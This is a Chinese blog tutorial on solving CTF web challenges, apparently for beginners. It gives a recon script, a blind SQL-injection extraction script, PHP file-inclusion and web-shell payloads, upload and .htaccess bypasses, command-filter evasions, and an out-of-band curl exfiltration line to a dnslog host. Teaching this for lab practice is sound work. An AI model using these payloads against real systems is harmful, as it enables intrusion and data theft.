尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTF Web安全解题思路:新手常见题型与分析方法总结

CTF Web安全解题思路:新手常见题型与分析方法总结 引言Web 方向为什么是新手的第一战场在 CTFCapture The Flag的 Jeopardy 赛制里Web 通常是题目数量最多、上手门槛最低、反馈最直接的方向。你不需要逆向汇编功底也不需要构造复杂的 ROP 链一台浏览器、一个 Burp Suite、一个 Python 解释器就能覆盖八成以上的题目。但门槛低不等于容易得分——很多新手卡在同一类问题上面对一个 URL不知道第一步该看什么第二歩该猜什么工具乱跑一通最后时间耗尽。根本原因是缺乏结构化的分析流程。Web 题目的本质是在一个人为构造的、有漏洞的应用里找到 flag它遵循固定的解题范式信息收集 → 攻击面识别 → 漏洞验证 → 利用与提权 → 读取 flag。本文围绕这条主线梳理新手必须掌握的题型与对应的分析方法并给出可直接复用的脚本模板。一、核心原理Web 题目的通用分析框架1.1 信息收集优先于一切拿到题目后不要急着打开 Burp 抓包。先回答四个问题题目描述里给了什么提示语、附件源码、目标 URL、账号密码、容器路径每一条都可能是关键。这是什么技术栈通过响应头Server、X-Powered-By、Cookie 名称PHPSESSID说明是 PHP、页面特征判断。有哪些已知的泄露点robots.txt、/.git/、/.svn/、www.zip、www.tar.gz、.DS_Store、编辑器备份文件index.php.swp、index.php~。有哪些入口点目录扫描dirsearch、feroxbuster 参数 fuzz。下面这个脚本适合在拿到目标后第一时间跑一遍快速筛出泄露文件#!/bin/bash# usage: ./recon.sh http://target.comTARGET${1%/}WORDS(robots.txt www.zip www.tar.gz web.zip backup.zip index.php.bak .git/config .svn/entries .DS_Store .hg/store index.php.swp flag.php flag.txt source.php code.php)forfin${WORDS[]};docode$(curl-s-o/dev/null-w%{http_code}--max-time5$TARGET/$f)if[$code200];thensize$(curl-s--max-time5$TARGET/$f|wc-c)echo[]$fHTTP$code${size}Bfidone注意.git/泄露不能只靠/.git/config判断正确姿势是git-dumper或 GitHack 把整个仓库拉下来再用git log -p翻历史提交——flag 经常藏在被删除的那次 commit 里。1.2 攻击面映射从输入点到漏洞类型Web 漏洞的触发一定依赖用户可控输入进入危险函数。所以第二步是枚举所有输入点并建立映射关系输入位置常见漏洞URL 查询参数SQL 注入、命令注入、SSTI、SSRFPOST 表单 / JSONSQL 注入、反序列化、越权Cookie / Header反序列化PHP session、XSS、SQL 注入UA、XFF文件名 / 文件内容文件上传、XXE、路径穿越页面回显模板注入、XSS、SSTI拿到参数后先做最小化探测?id1看是否报错?file../../etc/passwd看是否穿越?name{{7*7}}看是否回显 49。一个字符的成本就能确定后续方向。二、高频题型拆解2.1 SQL 注入从手工验证到脚本化盲注新手最容易犯的错误是上来就 sqlmap -r结果被 WAF 拦、被速率限制、被题目环境打崩。正确流程是先手工确认注入类型联合查询 / 报错 / 布尔盲注 / 时间盲注再决定是否用工具。当题目关闭了回显、屏蔽了报错时只能靠布尔盲注。此时二分法是最优解——把每个字符的 ASCII 码搜索空间从 95 次压缩到 7 次请求importrequests URLhttp://challenge.local/index.phpHINTwelcome# 页面中存在时才会出现的字符串definject(payload:str)-bool:rrequests.get(URL,params{id:payload},timeout5)returnHINTinr.textdefguess_ascii(pos:int)-int:二分法猜解第 pos 个字符的 ASCII 码lo,hi32,126whilelohi:mid(lohi1)//2payload(f1 and ascii(substr(f(select group_concat(table_name) from information_schema.tables fwhere table_schemadatabase()),{pos},1)){mid}-- -)ifinject(payload):lomidelse:himid-1returnlo resultforiinrange(1,60):codeguess_ascii(i)ifcode32:# 取到空格说明字符串已结束breakresultchr(code)print(f\r[*]{result},end,flushTrue)这套模板只需替换substr()里的子查询就能从库名 → 表名 → 列名 → 数据逐层拖出来。关键点-- -后面的空格不能省MySQL 注释需要--后跟空白字符如果参数被单引号包裹注意闭合引号。2.2 文件包含与伪协议PHP 的include/require是经典考点。当出现?filexxx.php这类参数时优先尝试?filephp://filter/convert.base64-encode/resourceindex.php直接把源码以 base64 读出避免 PHP 代码被执行。其他常用姿势php://input POST 数据 → 配合allow_url_includeOn执行任意代码data://text/plain;base64,PD9waHAg...→ 直接注入 payload/var/log/nginx/access.log→ 日志包含把?php system($_GET[1]);?写进 User-Agent/tmp/sess_xxxx→ session 文件包含配合session.upload_progress判断依据很明确只要页面能返回文件内容就是 LFI能执行 PHP就是 RFI/日志包含。2.3 文件上传绕过的是检测逻辑不是上传本身上传题的难点在于如何让恶意文件落地并被执行。常见防线与绕过手段前端 JS 校验→ 直接改包或禁用 JSContent-Type 白名单→ 改image/png后缀黑名单→ 试phtml、php5、php7、pht、pHp或.htaccess.jpg内容检测getimagesize→ 图片马 文件包含组合利用二次渲染→ 用条件竞争在上传临时文件被删除前访问它.htaccess是一个常被忽视的杀招——如果题目允许上传任意后缀上传一个内容为AddType application/x-httpd-php .jpg的.htaccess之后所有.jpg都会被当作 PHP 解析。2.4 命令执行与 SSTI命令执行题的绕过技巧集中在空格与关键字过滤cat/flag# 被过滤cat$IFS$9/flag# $IFS 替代空格cat/flag# 重定向符替代空格cat /flag# 引号拼接绕过关键字$(printfY2F0IC9mbGFn|base64-d)# base64 编码绕过无回显时用外带OOBcurl http://dnslog.cn/$(whoami|base64)或者写文件到 Web 目录再访问。SSTI 的判定极简输入{{7*7}}回显49就是 Jinja2/Twig回显7777777就是 Freemarker。之后按模板引擎查__class__、__mro__、__subclasses__的利用链即可。三、实战案例从源码泄露到 flag假设题目只给了一个 URL 和一句你能找到 flag 吗。第一步跑 recon 脚本发现www.zip可下载。解压得到index.php?php$id$_GET[id]??1;$connnewmysqli(localhost,root,root,ctf);$sqlSELECT title, content FROM news WHERE id $id;$res$conn-query($sql);if($res){$row$res-fetch_assoc();echoh3{$row[title]}/h3;}else{echo查询失败;// 没有报错信息说明是盲注}第二步访问?id1有回显?id1页面变成查询失败确认单引号注入且无报错。第三步?id1 and 11-- -正常?id1 and 12-- -失败确认布尔盲注可用。第四步套用上文的二分法脚本把group_concat(table_name)换成select flag from flag limit 0,1几分钟内拿到 flag。这个案例的价值在于信息收集源码泄露直接跳过了试错阶段让漏洞类型从猜变成读。这就是为什么第一步永远不能省。四、踩坑与优化建议**1.更多硬核网安与AI工具包请扫码获取完整源码不要迷信工具。** sqlmap 的 –level 5
返回列表